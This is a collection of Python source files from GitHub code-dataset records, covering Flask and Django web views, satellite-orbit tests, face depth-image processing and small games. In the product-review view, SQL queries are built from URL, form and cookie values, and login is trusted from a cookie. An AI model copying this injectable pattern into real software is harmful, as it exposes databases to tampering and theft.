FileNotFoundError:\n pass\n\n# sending inform about wheel_balancing\n@app.route('/wheel_balancing_info', methods=['GET'])\ndef get_wheel_balancing_info():\n free_spaces = sum(1 for space in wheel_balancing_spaces if space['status'] == 'free')\n wheel_balancing_info = {\n 'free_spaces': free_spaces,\n 'total_spaces': len(wheel_balancing_spaces)\n }\n return jsonify(wheel_balancing_info)\n\n@app.route('/wheel_balancing/free_spaces', methods=['GET'])\ndef get_free_spaces():\n free_spaces = [{'id': space['id'], 'status': space['status']} for space in wheel_balancing_spaces if space['status'] == 'free']\n return jsonify(free_spaces)\n\n@app.route('/wheel_balancing/free_spaces_with_id', methods=['GET'])\ndef get_free_spaces_with_id():\n free_spaces = [{'id': space['id'], 'status': space['status']} for space in wheel_balancing_spaces if space['status'] == 'free']\n return jsonify(free_spaces)\n\n# reserve wheel_balancing\n@app.route('/wheel_balancing/reserve', methods=['POST'])\ndef reserve_wheel_balancing_space():\n data = request.get_json()\n space_id = data.get('id')\n name = data.get('name')\n phone = data.get('phone')\n \n print(f\"Received data: {data}\")\n\n if space_id is None:\n return 'Space id is missing', 400\n\n space = next((space for space in wheel_balancing_spaces if space['id'] == space_id), None)\n\n if space is None:\n return 'Space not found', 404\n\n if space['status'] != 'free':\n return 'Space is already occupied', 409\n\n space['status'] = 'reserved'\n space['name'] = name\n space['phone'] = phone\n\n print(f\"Successfully reserved wheel_balancing space {space_id} for {name} ({phone})\")\n\n # Save the updated wheel_balancing spaces data to file\n with open('wheel_balancing_spaces.json', 'w') as f:\n json.dump(wheel_balancing_spaces, f)\n\n return f\"Successfully reserved wheel_balancing space {space_id} for {name} ({phone})\"\n\n return 'Space reserved successfully', 200\n\n# sending info about reserving wheel_balancing place\n@app.route('/wheel_balancing/cancel', methods=['POST'])\ndef cancel_wheel_balancing_reservation():\n data = request.get_json()\n space_id = data.get('id')\n\n if space_id is None:\n return 'Space id is missing', 400\n\n space = next((space for space in wheel_balancing_spaces if space['id'] == space_id), None)\n\n if space is None:\n return 'Space not found', 404\n\n if space['status'] != 'reserved':\n return 'Space is not reserved', 409\n\n space['status'] = 'free'\n space.pop('name', None)\n space.pop('phone', None)\n\n # Save the updated wheel_balancing spaces data to file\n with open('wheel_balancingg_spaces.json', 'w') as f:\n json.dump(wheel_balancing_spaces, f)\n\n return 'Reservation canceled successfully', 200\n\nif __name__ == '__main__':\n app.run(port=8000)","repo_name":"cartoontest/wheel_wise","sub_path":"sapp.py","file_name":"sapp.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10102066670","text":"from flask import Blueprint, render_template, url_for, request, redirect, Response, make_response\nfrom app import db\n\nmod = Blueprint('product', __name__)\n\n@mod.route('/product/', methods=['GET'])\ndef product(product_id=None):\n '''\n Product view.\n CREATE TABLE products (\n product_id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT UNIQUE NOT NULL,\n price REAL NOT NULL,\n description TEXT NOT NULL,\n image TEXT,\n stock INTEGER DEFAULT 0\n );\n '''\n\n command = f'SELECT * FROM products WHERE product_id = {product_id}'\n prod = db.get_from_db(command)\n prod = prod.fetchall()[0]\n\n command = f'SELECT * FROM reviews WHERE product_id = {product_id}'\n reviews = db.get_from_db(command)\n reviews = reviews.fetchall()\n\n resp = make_response(render_template('product.html', product_id=prod[\"product_id\"], name=prod[\"name\"],\n price=prod[\"price\"], description=prod[\"description\"],\n image=prod[\"image\"], stock=prod[\"stock\"], reviews=reviews))\n return resp\n\n@mod.route('/product//submit_review', methods=['POST'])\ndef submit_review(product_id=None):\n '''\n Post a review for a product\n '''\n if request.cookies.get('logged_in') == \"True\":\n message = request.form['message']\n user_id = request.cookies.get('user_id')\n\n command = f'SELECT username FROM users WHERE user_id = {user_id}'\n username = db.get_from_db(command)\n username = username.fetchall()[0]\n username = username[\"username\"]\n\n command = f'INSERT INTO reviews (text, username, product_id) VALUES (\"{message}\", \"{username}\", \"{product_id}\")'\n if db.push_into_db(command):\n resp = make_response(product(product_id))\n else:\n resp = make_response(\"You have already posted a review for this product!\")\n else:\n resp = make_response(\"Please login to leave review!\")\n\n return resp\n","repo_name":"mmalmi1/piWASTE","sub_path":"app/views/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"3860107691","text":"from datetime import datetime, timedelta\nfrom math import sqrt\n\nimport pandas as pd\n\nfrom model.sat_pos_calc import SatellitePositionCalc\n\nNAV_FILE = 'data/brdc2360.18n'\nSP3_FILE = 'data/brdc2360.sp3'\nPOS_FILE = 'data/brdc2360.pos'\n\ncalc = SatellitePositionCalc(NAV_FILE)\n\nPRN_LIST = [f'G{i:02n}' for i in range(1, 33)]\n\nsp3 = pd.read_table(SP3_FILE, sep=r'\\s+', header=0)\n\n\ndef calc_3d_point_error(p1, p2):\n dx_dy_dz = [i - j for i, j in zip(p1, p2)]\n ds = sqrt(sum([k ** 2 for k in dx_dy_dz]))\n return ds, dx_dy_dz\n\n\ndef calc_sod(t):\n return t.hour * 3600 + t.minute * 60 + t.second\n\n\ndef evaluate_precision(prn, calc_time, computed_pos, allow_print=True):\n \"\"\"Evaluate error of instant satellite position by compare calculated and .sp3 data\"\"\"\n sod = calc_sod(calc_time)\n try:\n xyz_sp3 = sp3[(sp3['prn'] == prn) & (sp3['sod'] == sod)].values[0, -3:]\n except IndexError:\n print(f'No Such SP3 Data in {calc_time}(sod {sod}) of prn {prn}')\n return\n\n sp3_err, sp3_delta = calc_3d_point_error(xyz_sp3, computed_pos)\n if allow_print:\n print(f'Calculated Position of {prn} in {calc_time}\\n{computed_pos}')\n print(f'Difference of X Y Z between .sp3 and calculated position\\n{sp3_delta}')\n print(f'Error between .sp3 and calculated position {sp3_err}')\n print()\n return sp3_err\n\n\ndef test_calc_instant_pos():\n prn = \"G01\"\n nav_times = [\n datetime(2018, 8, 24, 0, 0, 0),\n datetime(2018, 8, 24, 1, 30, 0),\n ]\n calc_time = datetime(2018, 8, 24, 1, 0, 0)\n\n for nav_time in nav_times:\n xyz = calc.calc_specified_time(prn, nav_time=nav_time, calc_time=calc_time)\n err = evaluate_precision(prn, calc_time, xyz, True)\n pass\n\n\ndef test_diff_time_span():\n prn = 'G01'\n\n prn_nav_data = calc.RINEX.get_nav_data(PRN=prn)\n nav_times = list(map(lambda bl: bl.toc, prn_nav_data))\n\n errs_list = []\n for nav_time in nav_times:\n calc_times = [nav_time + timedelta(minutes=i * 30) for i in range(-2, 3)]\n errs_diff_span = []\n for calc_time in calc_times:\n xyz = calc.calc_specified_time(prn, nav_time, calc_time)\n err = evaluate_precision(prn, calc_time, xyz, allow_print=False)\n if err:\n errs_diff_span.append(err)\n errs_list.append(errs_diff_span)\n return errs_list\n pass\n\n\ndef test_sat_orbits():\n start_date_time = datetime(2018, 8, 24, 0, 0, 0)\n end_date_time = datetime(2018, 8, 24, 23, 45, 0)\n orbit_dict = {}\n for prn in PRN_LIST:\n df_orbit = calc.calc_sat_orbit(prn, start_date_time, end_date_time)\n orbit_dict[prn] = df_orbit\n print(f'{prn} finished')\n pass\n\n\nif __name__ == '__main__':\n test_sat_orbits()\n","repo_name":"gaowutong/satellite_pos_calc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69974332241","text":"import random \r\n\r\nprint('\\n\\n----------------------Welcome to Game of Rock Paper and Scissor----------------------\\n\\n')\r\n\r\nx = 'Y'\r\n\r\nwhile x == 'Y' or x == 'y':\r\n ch1 = random.choice(['Rock','Paper','Scissor'])\r\n ch2 = input('\\nEnter your choice: ')\r\n if (ch1 == 'Rock' and ch2 == 'Scissor') or (ch1 == 'Paper' and ch2 == \"Rock\") or (ch1 == 'Scissor' and ch2 == 'Paper'):\r\n print('\\n Computer Wins... !!')\r\n elif ch1 == ch2:\r\n print(\"\\n It is a Tie Game...\")\r\n else:\r\n print('\\n You Wins...')\r\n x = input(\"\\nDo you want to continue(Y/N): \")\r\n","repo_name":"aman0iz0back/Week8-Lab-Basic-Project-Submission","sub_path":"rock paper scissors Q2.py","file_name":"rock paper scissors Q2.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7319060245","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nimport json\nfrom django.views.generic.base import TemplateView\nfrom django.views.generic import View\nfrom django.http import JsonResponse\nfrom chatterbot import ChatBot\nfrom chatterbot.ext.django_chatterbot import settings\nfrom chatterbot.trainers import ChatterBotCorpusTrainer\nfrom sentiment_analysis.analyze import analyze_input, determine_emotion\n# Create your views here.\n\n\nscore = 0\ncount = 0\n\n@login_required(login_url='/login')\ndef sentiment_analysis_home(request):\n return render(request, 'sentiment_analysis/home.html' )\n\n\nclass ChatterBotAppView(TemplateView):\n template_name = 'sentiment-analysis-chat.html'\n\n\nclass ChatterBotApiView(View):\n chatterbot = ChatBot(**settings.CHATTERBOT)\n trainer = ChatterBotCorpusTrainer(chatterbot)\n \n \n try :\n trainer.train(\"sentiment_analysis/data/sentiments.yml\")\n print('sentiment training completed !')\n except Exception:\n print('ERROR WITH TRAINING !')\n \n \n \n \n \n def post(self,request,*args,**kwargs):\n global score\n global count\n \n input_data = json.loads(request.body.decode('utf-8'))\n \n \n \n \n \n if 'text' not in input_data:\n return JsonResponse({\n 'text':[\n 'The attribute \"text\" is required.'\n ]\n },status=400)\n \n response = self.chatterbot.get_response(input_data)\n response_data = response.serialize()\n \n \n \n print('**Success response is :', response_data)\n \n\n while count <3 :\n count +=1\n print('MESSAGE NUMBER ', count)\n score = analyze_input(input_data['text'],score)\n print('----SCORE IS : ', score)\n print(\"****////***** EMOTION IS :\", determine_emotion(score))\n if count == 3:\n emotion_data = {\n 'emotion' : determine_emotion(score),\n 'close_chat' : 'true'\n }\n return JsonResponse(emotion_data, status=200,safe=False)\n return JsonResponse(response_data, status=200,safe=False)\n \n \n \n def get(self, request, *args, **kwargs):\n return JsonResponse({\n 'name': self.chatterbot.name\n })","repo_name":"HoussamEzzin/chatbot","sub_path":"sentiment_analysis/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"3120118283","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom extractor.feature.feature import Feature\n\nfrom scipy import stats\nimport numpy as np\n\nimport logging\n\n\n'''\nTwo measures, PDH and PWD, based on the entropy of the histogram of user’s activitiy over time.\n- PDH identifies if user’s activities are concentrated around a particular hour of the day.\n- PWD determines if activities are concentrated around a particular day of the week.\n'''\nclass RegPeakTime(Feature):\n\n def __init__(self, data, settings):\n super().__init__('regularity_peak', data, settings)\n\n def compute(self):\n assert 'mode' in self.settings\n\n if len(self.data.index) == 0:\n logging.debug('feature {} is invalid: empty dataframe'.format(self.name))\n return Feature.INVALID_VALUE\n\n if self.settings['mode'] == 'dayhour':\n hours = self.data['date'].dt.hour.astype(int).to_list()\n activity = np.array([hours.count(h) for h in np.arange(24)])\n if np.sum(activity) == 0:\n logging.debug('feature {} is invalid: the dayhour mode is invalid'.format(self.name))\n return Feature.INVALID_VALUE\n entropy = stats.entropy(activity / np.sum(activity))\n return (np.log(24) - entropy) * np.max(activity)\n elif self.settings['mode'] == 'weekday':\n assert self.settings['timeframe'] is not 'eq_week' and self.settings['week'] > 0\n weekdays = self.data['date'].dt.weekday.astype(int).to_list()\n activity = np.array([weekdays.count(h) for h in np.arange(7)])\n if np.sum(activity) == 0:\n logging.debug('feature {} is invalid: the weekday mode is invalid'.format(self.name))\n return Feature.INVALID_VALUE\n entropy = stats.entropy(activity / np.sum(activity))\n return (np.log(7) - entropy) * np.max(activity)\n else:\n raise NotImplementedError()\n\n","repo_name":"epfl-ml4ed/flipped-classroom","sub_path":"extractor/feature/reg_peak_time.py","file_name":"reg_peak_time.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"40981696119","text":"from zoo.shortcuts import render\nfrom django.shortcuts import get_object_or_404\nfrom models import List\nfrom animals.models import Species\nfrom trips.add_trip import species_for_freebase_details\nfrom trips.add_trip_utils import search\nfrom django.contrib.auth.models import User\nfrom django.db.models import Count\nfrom django.http import HttpResponseForbidden\n\ndef index(request):\n return render(request, 'lists/lists.html', {\n 'lists': List.objects.all(),\n })\n\ndef view_list(request, slug):\n l = get_object_or_404(List, slug = slug)\n top_spotters = User.objects.filter(\n created_sighting_set__species__list = l\n ).annotate(\n num_spotted = Count('created_sighting_set__species', distinct = True)\n ).order_by('-num_spotted')[:5]\n species = l.species.all().order_by('common_name')\n if not request.user.is_anonymous():\n # Annotate species list with which ones they have seen\n species_seen = set([\n s.pk for s in request.user.get_profile().passport().seen_species\n ])\n for s in species:\n if s.pk in species_seen:\n s.seen_by_you = True\n \n return render(request, 'lists/list.html', {\n 'list': l,\n 'top_spotters': top_spotters,\n 'species': species,\n })\n\ndef edit(request, slug):\n if not request.user.is_staff:\n return HttpResponseForbidden()\n l = get_object_or_404(List, slug = slug)\n not_found = []\n if request.method == 'POST':\n freebase_ids = request.POST.getlist('freebase_id')\n for id in freebase_ids:\n id = id.replace('#', '').strip()\n if not id:\n continue\n species = None\n matches = Species.objects.filter(freebase_id = '/guid/%s' % id)\n if matches:\n species = matches[0]\n else:\n search_results = search(id)\n if search_results:\n species = species_for_freebase_details(search_results[0])\n else:\n not_found.append(id)\n continue\n l.species.add(species)\n \n return render(request, 'lists/edit.html', {\n 'l': l,\n 'not_found': not_found,\n 'range_100': range(100)\n })\n","repo_name":"devfort/wildlifenearyou","sub_path":"zoo/lists/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"43343096396","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 28 14:56:22 2018\n\n@author: Babideng\n\"\"\"\n\nimport numpy as np\nimport copy\nfrom sklearn.neighbors import NearestNeighbors\nfrom skimage import color\nimport matplotlib.pyplot as plt\nfrom skimage import morphology\nimport math\n\n#----------------------\ndef get_n_neibor_ind(oneFaceS, pointNum):\n \"\"\"\n get pointNum neibors' index of bj point\n \"\"\"\n oneFace = copy.deepcopy(oneFaceS)\n bjInd = get_bj_ind(oneFace)\n bj = oneFace[bjInd, :]\n bj = bj.reshape(1, -1)\n NN = NearestNeighbors(n_neighbors = pointNum)\n NN.fit(oneFace)\n dis, ind = NN.kneighbors(bj)\n return ind\n pass \n#----------------------\ndef get_bj_ind(oneFace):\n \"\"\"get bj point index in the zju database\"\"\"\n z = oneFace[:, 2]\n listz = list(z)\n bjInd = listz.index(max(listz))\n return bjInd\n pass\n\n#----------------------\ndef get_frontalFace(allFaceS, ind):\n \"\"\"\n extract size(index) point of all face data\n \"\"\"\n allFace = copy.deepcopy(allFaceS)\n numPoint = np.size(ind)\n numPress, numPers, temp1, temp2 = np.shape(allFace)\n numFaces = numPress * numPers\n frontalFace = np.zeros([numFaces, numPoint, temp1])\n c1 = 0\n for i in range(numPress):\n for j in range(numPers):\n tempF = allFace[i, j, :, :]\n tempF = tempF.T\n for k in range(numPoint): \n indT = ind[0, k]\n frontalFace[c1, k, :] = tempF[indT, :]\n print('The %d frontalFace is produced' % (i*numPers+j+1))\n c1 = c1 + 1\n return frontalFace\n#----------------------\ndef get_label(numPress, numPers):\n label = np.zeros([numPress*numPers])\n k = 0\n for i in range(numPress):\n for j in range(numPers):\n label[k] = j\n k = k + 1\n label = np.uint8(label)\n return label\n pass\n#----------------------\ndef move_zomm_3Ddata(frontalFaceS, multiNum):\n \"\"\"\n align all face' bj point\n make x,y coordinate a positive num\n multiple x,y coordinate with a num\n \"\"\"\n frontalFace = copy.deepcopy(frontalFaceS)\n numPers, numPoints, temp1 = np.shape(frontalFace)\n xMin = 0\n yMin = 0\n\n for i in range(numPers):\n frontalFace[i, :, 0] = frontalFace[i, :, 0] * multiNum\n frontalFace[i, :, 1] = frontalFace[i, :, 1] * multiNum\n pt = frontalFace[i, :, :]\n x = pt[:, 0]\n y = pt[:, 1] \n xMinT = min(x)\n yMinT = min(y)\n if xMinT < xMin:\n xMin = xMinT\n if yMinT < yMin:\n yMin = yMinT\n xMin = np.ceil(xMin)\n yMin = np.ceil(yMin)\n \n bjxMax = 0\n bjyMax = 0\n for j in range(numPers):\n frontalFace[j, :, 0] = frontalFace[j, :, 0] - xMin\n frontalFace[j, :, 1] = frontalFace[j, :, 1] - yMin\n pt = frontalFace[j, :, :]\n x = pt[:, 0]\n y = pt[:, 1] \n bjx = x[0]\n bjy = y[0]\n if bjx > bjxMax:\n bjxMax = bjx\n if bjy > bjyMax:\n bjyMax = bjy\n\n for k in range(numPers):\n bjx = frontalFace[k, 0, 0]\n bjy = frontalFace[k, 0, 1]\n frontalFace[k, :, 0] = frontalFace[k, :, 0] + bjxMax - bjx\n frontalFace[k, :, 1] = frontalFace[k, :, 1] + bjyMax - bjy\n print('The %d dealed face data is produced!' % k)\n return frontalFace\n pass\n\n#----------------------\ndef depth_data_deal(frontalFaceT):\n \"\"\"\n move bjz to the axis 1\n \"\"\"\n frontalFace = copy.deepcopy(frontalFaceT)\n numPers, numPoints, temp1 = np.shape(frontalFace)\n for i in range(numPers):\n zMax = frontalFace[i, 0, 2]\n zDis = 1 - zMax\n for j in range(numPoints): \n frontalFace[i, j, 2] = frontalFace[i, j, 2] + zDis\n return frontalFace\n pass\n#----------------------\ndef orthogonal_projection(frontalFaceS):\n \"\"\"\n yield depth image with orthogonal projection\n \"\"\"\n frontalFace = copy.deepcopy(frontalFaceS)\n numPers, numPoints, temp1 = np.shape(frontalFace)\n xMax = 0\n yMax = 0\n \n for i in range(numPers):\n x = frontalFace[i, :, 0]\n y = frontalFace[i, :, 1]\n xMaxT = max(x)\n yMaxT = max(y)\n \n if xMaxT > xMax:\n xMax = xMaxT\n if yMaxT > yMax:\n yMax = yMaxT\n\n xMax = np.ceil(xMax)\n xMax = int(xMax)\n yMax = np.ceil(yMax)\n yMax = int(yMax)\n \n depthMap = np.zeros([numPers, yMax+1, xMax+1]) \n for k in range(numPers):\n pt = frontalFace[k, :, :]\n for i in range(numPoints):\n x = int(round(pt[i, 0]))\n y = int(round(pt[i, 1])) \n depth = pt[i, 2]\n depthMap[k, y, x] = depth\n \n return depthMap\n pass\n\n#----------------------\ndef image_corrosion(input2Dimage, dimOpt = 3):\n \"\"\"\n image corrosion use a matrix which the size is dimOpt*dimOpt\n \"\"\"\n opt = np.ones([dimOpt, dimOpt], dtype = np.uint8)\n h, w = np.shape(input2Dimage)\n outputImage = np.zeros_like(input2Dimage)\n temp1 = dimOpt//2\n temp2 = dimOpt - temp1 \n for i in range(temp1, h-temp2):\n for j in range(temp1, w-temp2):\n block = input2Dimage[i-temp1:i+temp2, j-temp1:j+temp2]\n blockT = np.ceil(block)\n blockT = np.uint8(blockT)\n out = opt & blockT\n if sum(sum(out)) == dimOpt*dimOpt:\n outputImage[i, j] = input2Dimage[i, j]\n else:\n outputImage[i, j] = 0\n return outputImage\n pass\n#----------------------\ndef image_dilation(input2Dimage, dimOpt = 3):\n \"\"\"\n image dilation use a matrix which the size is dimOpt*dimOpt\n \"\"\"\n opt = np.ones([dimOpt, dimOpt], dtype = np.uint8)\n h, w = np.shape(input2Dimage)\n outputImage = np.zeros_like(input2Dimage)\n temp1 = dimOpt//2\n temp2 = dimOpt - temp1\n for i in range(temp1, h-temp2):\n for j in range(temp1, w-temp2):\n block = input2Dimage[i-temp1:i+temp2, j-temp1:j+temp2]\n blockT = np.ceil(block)\n blockT = np.uint8(blockT)\n out = opt & blockT\n if sum(sum(out)) == 0:\n outputImage[i, j] = 0\n else:\n outputImage[i, j] = 1\n return outputImage\n pass\n#----------------------\ndef depthMap_empty_interpolation_3D(depthMapT, correspond3Ddata, numNeibor = 3):\n \"\"\"\n find empty in the area(binarization closing find_empty)\n find neibors, get depth\n \"\"\"\n depthMap = copy.deepcopy(depthMapT)\n h, w = np.shape(depthMap)\n depthMap1 = np.ceil(depthMap)\n depthMap1 = np.uint8(depthMap1)\n binaryMap = np.ones_like(depthMap, dtype = np.uint8)\n andOut = depthMap1 & binaryMap\n andOut1 = image_dilation(andOut)\n andOut1 = image_corrosion(andOut1)\n face = correspond3Ddata[:, 0:2]\n for i in range(h):\n for j in range(w):\n t1 = depthMap[i, j]\n t2 = andOut1[i, j]\n if t1 == 0 and t2 != 0:\n basePoint = [i, j]\n basePoint = np.array(basePoint)\n basePoint = basePoint.reshape(1, -1)\n NN = NearestNeighbors(n_neighbors = numNeibor)\n NN.fit(face)\n dis, ind = NN.kneighbors(basePoint)\n depth = 0\n for k in range(numNeibor):\n depth = correspond3Ddata[ind[0, k], 2] + depth\n depth = depth/(numNeibor)\n depthMap[i, j] = depth\n pass\n return depthMap\n pass\n#----------------------\ndef depthMap_empty_interpolation_2D(depthMapT):\n depthMap = copy.deepcopy(depthMapT)\n h, w = np.shape(depthMap) \n depthMap1 = np.ceil(depthMap)\n depthMap1 = np.uint8(depthMap1)\n binaryMap = np.ones_like(depthMap, dtype = np.uint8)\n andOut = depthMap1 & binaryMap\n andOut1 = image_dilation(andOut, dimOpt = 6)\n andOut1 = image_corrosion(andOut1, dimOpt = 6)\n for i in range(1, h-1):\n for j in range(1, w-1):\n t1 = depthMap[i, j]\n t2 = andOut1[i, j]\n a = np.zeros([1, 4])\n sumDepth = 0\n kk = 0\n if t1 == 0 and t2 != 0:\n a[0, 0] = depthMap[i-1, j]\n a[0, 1] = depthMap[i+1, j]\n a[0, 2] = depthMap[i, j-1]\n a[0, 3] = depthMap[i, j+1]\n for k in range(4):\n if a[0, k] != 0:\n sumDepth = sumDepth + a[0, k]\n kk = kk + 1\n if kk != 0:\n depth = sumDepth/kk\n depthMap[i, j] = depth\n return depthMap \n pass\n#----------------------\ndef circularLBP(img, r = 1, neibor = 8): \n neibor = max(min(neibor, 31), 1)\n angle = 2 * np.pi / neibor\n angles = np.arange(0, 2 * np.pi, angle)\n dis = np.array([r*np.cos(angles), -r*np.sin(angles)]).T;\n \n [m, n] = np.shape(img)\n minx = min(dis[:, 0])\n maxx = max(dis[:, 0])\n miny = min(dis[:, 1])\n maxy = max(dis[:, 1])\n blockSizeX = np.ceil(maxx) - np.floor(minx) + 1\n blockSizeY = np.ceil(maxy) - np.floor(miny) + 1\n \n lbpImageH = np.int16(m - blockSizeX + 1)\n lbpImageW = np.int16(n - blockSizeY + 1)\n lbpImage = np.zeros([lbpImageH, lbpImageW]) # 存储lbp特征\n \n for j in range(r, m-r):\n for i in range(r, n-r):\n compValue = img[j, i] # 中心点像素值\n for k in range(8):\n samplePoint = dis[k, :]\n x = samplePoint[0]\n y = samplePoint[1]\n x = np.int8(round(x))\n y = np.int8(round(y))\n spValue = img[y+j, x+i]\n if spValue>compValue:\n spValue = 1\n else:\n spValue = 0\n \n lbpImage[j-r, i-r] = lbpImage[j-r, i-r] + spValue*math.pow(2, k)\n return lbpImage\n#----------------------\ndef circularLBP_BLI(img, r = 1, neibor = 8): \n neibor = max(min(neibor, 31), 1)\n angle = 2 * np.pi / neibor\n angles = np.arange(0, 2 * np.pi, angle)\n dis = np.array([r*np.cos(angles), -r*np.sin(angles)]).T;\n \n [m, n] = np.shape(img)\n minx = min(dis[:, 0])\n maxx = max(dis[:, 0])\n miny = min(dis[:, 1])\n maxy = max(dis[:, 1])\n blockSizeX = np.ceil(maxx) - np.floor(minx) + 1\n blockSizeY = np.ceil(maxy) - np.floor(miny) + 1\n \n lbpImageH = np.int16(m - blockSizeX + 1)\n lbpImageW = np.int16(n - blockSizeY + 1)\n lbpImage = np.zeros([lbpImageH, lbpImageW]) # 存储lbp特征\n \n for j in range(r, m-r):\n for i in range(r, n-r):\n compValue = img[j, i] # 中心点像素值\n for k in range(neibor):\n samplePoint = dis[k, :]\n x = samplePoint[0]\n y = samplePoint[1]\n spValue = biLinear_interpolation(img, i, j, y, x)\n if spValue>compValue:\n spValue = 1\n else:\n spValue = 0 \n lbpImage[j-r, i-r] = lbpImage[j-r, i-r] + spValue*math.pow(2, k)\n return lbpImage\n#----------------------\ndef biLinear_interpolation(image, i, j, y, x):\n yr = j + y;\n xr = i + x;\n minY = np.int16(np.floor(yr))\n maxY = np.int16(np.ceil(yr))\n minX = np.int16(np.floor(xr))\n maxX = np.int16(np.ceil(xr)) \n f00 = image[minY, minX]\n f10 = image[minY, maxX]\n f11 = image[maxY, maxX]\n f01 = image[maxY, minX]\n x = xr - minX\n y = yr - minY\n spValue = (1-y)*(1-x)*f00 + x*(1-y)*f01 + y*(1-x)*f10 + x*y*f11\n return spValue\n#----------------------\ndef cylinder_y_projection(frontalFaceS, isOwnDefineR = False, radius = 70):\n frontalFace = copy.deepcopy(frontalFaceS)\n numPers, pointNum, temp = np.shape(frontalFace)\n #-------\n xMax = 0\n yMax = 0\n \n for i in range(numPers):\n x = frontalFace[i, :, 0]\n y = frontalFace[i, :, 1]\n xMaxT = max(x)\n yMaxT = max(y)\n \n if xMaxT > xMax:\n xMax = xMaxT\n if yMaxT > yMax:\n yMax = yMaxT\n\n xMax = np.ceil(xMax)\n xMax = int(xMax)\n yMax = np.ceil(yMax)\n yMax = int(yMax) \n #------- \n if isOwnDefineR:\n radius = radius\n else:\n radius = (xMax + 2)/2\n pt = frontalFace[0, :, :]\n bjx = int(round(pt[0, 0]))\n bjy = int(round(pt[0, 1]))\n cx = int(round(radius*np.pi/2))\n\n cylinderLbp = np.zeros([numPers, yMax+1, int(np.ceil(np.pi*radius))+1])\n \n for i in range(numPers):\n pt = frontalFace[i, :, :]\n depth = pt[0, 2]\n cylinderLbp[i, bjy, cx] = depth\n for j in range(1,pointNum):\n x = pt[j, 0]\n y = int(round(pt[j, 1]))\n depth = pt[j, 2]\n xd = x - bjx\n if np.abs(xd) < radius:\n angle = math.acos(xd/radius)\n arclen = (np.pi/2-angle)*radius\n xx = cx + arclen\n xx = int(round(xx))\n cylinderLbp[i, y, xx] = depth\n else:\n continue\n print('The %d th cylinderLbp has been yield...' % i)\n return cylinderLbp\n pass\n#----------------------\ndef double_cylinder_y_projection(frontalFaceS, isOwnDefineRout = False, rIn = 10, rOut = 70):\n frontalFace = copy.deepcopy(frontalFaceS)\n numPers, numPoints, temp = np.shape(frontalFace)\n #-------\n xMax = 0\n yMax = 0\n \n for i in range(numPers):\n x = frontalFace[i, :, 0]\n y = frontalFace[i, :, 1]\n xMaxT = max(x)\n yMaxT = max(y)\n \n if xMaxT > xMax:\n xMax = xMaxT\n if yMaxT > yMax:\n yMax = yMaxT\n\n xMax = np.ceil(xMax)\n xMax = int(xMax)\n yMax = np.ceil(yMax)\n yMax = int(yMax) \n #------- \n if isOwnDefineRout:\n rOut = rOut\n else:\n rOut = (xMax + 2)/2\n \n pt = frontalFace[0, :, :]\n bjx = int(round(pt[0, 0]))\n bjy = int(round(pt[0, 1]))\n \n angle = math.acos(rIn/rOut)\n arclen = angle*rOut\n lenMax = np.pi*rIn + arclen*2\n arclenDiff = np.pi*rIn/2 - (np.pi/2-angle)*rOut \n cx = int(round(lenMax/2))\n cylinderLbp = np.zeros([numPers, yMax+1, int(np.ceil(lenMax))+1])\n \n for i in range(numPers):\n pt = frontalFace[i, :, :]\n depth = pt[0, 2]\n cylinderLbp[i, bjy, cx] = depth\n for j in range(numPoints):\n x = pt[j, 0]\n y = int(round(pt[j, 1]))\n depth = pt[j, 2]\n xd = x - bjx\n if np.abs(xd) < rOut:\n if np.abs(xd) < rIn:\n angle = math.acos(xd/rIn)\n arclen = (np.pi/2-angle)*rIn\n xx = cx + arclen\n xx = int(round(xx))\n cylinderLbp[i, y, xx] = depth\n else:\n angle = math.acos(xd/rOut)\n if xd > 0:\n arclen = (np.pi/2-angle)*rOut + arclenDiff\n else:\n arclen = (np.pi/2-angle)*rOut - arclenDiff\n xx = cx + arclen\n xx = int(round(xx))\n cylinderLbp[i, y, xx] = depth\n else:\n continue\n print('The %d th double curvature cylinder depthImage has yielded...' % i)\n return cylinderLbp\n pass\n\n\n\n\n\n\n\n \n \n ","repo_name":"dxlmathon/test","sub_path":"baseFun_frDepthImage.py","file_name":"baseFun_frDepthImage.py","file_ext":"py","file_size_in_byte":15347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10515676103","text":"# Program to calculate a square root using Newton-Raphson algorythm\n# Slighty overcomplicated exercise on use of functions in Python ;)\n\n# Author: Przemyslaw Bil\n\n# This function accept 2 parameters: number to be squared and optional precission\ndef sqrRoot(num, precision = 0.00001):\n\n # if precision is equal or smaller than 0, the 'while' loop below would run forever\n # to prevent that, setting precision to defualt value if passes argument <=0\n if (precision <=0):\n precision = 0.00001\n\n # print(precision) # for debugging only\n\n # initial value of difference variable, has to be larger than precision\n # to make sure the 'while' loop will run at least once. Setting up larger than any reasonable precission:\n dif = 100\n\n # first guesstimate\n est = num/2.\n\n # Below loop will run until difference between the entered number and squared estimate is smaller than precission\n while (dif>precision):\n # calculate the next value using Newton-Raphson method\n est=(est+num/est)/2.\n # calculate the absolute difference between the entered number and squared estimate\n dif = abs(num-est*est)\n\n #return the fist calculated value, where the difference between the entered number and squared estimate was smaller than precission \n return est\n\n# This function asks user for a positive number. \n# It will catch ValueError thrown when user input is not a number\n# This function has optional argument interrupt, which allows to press 0 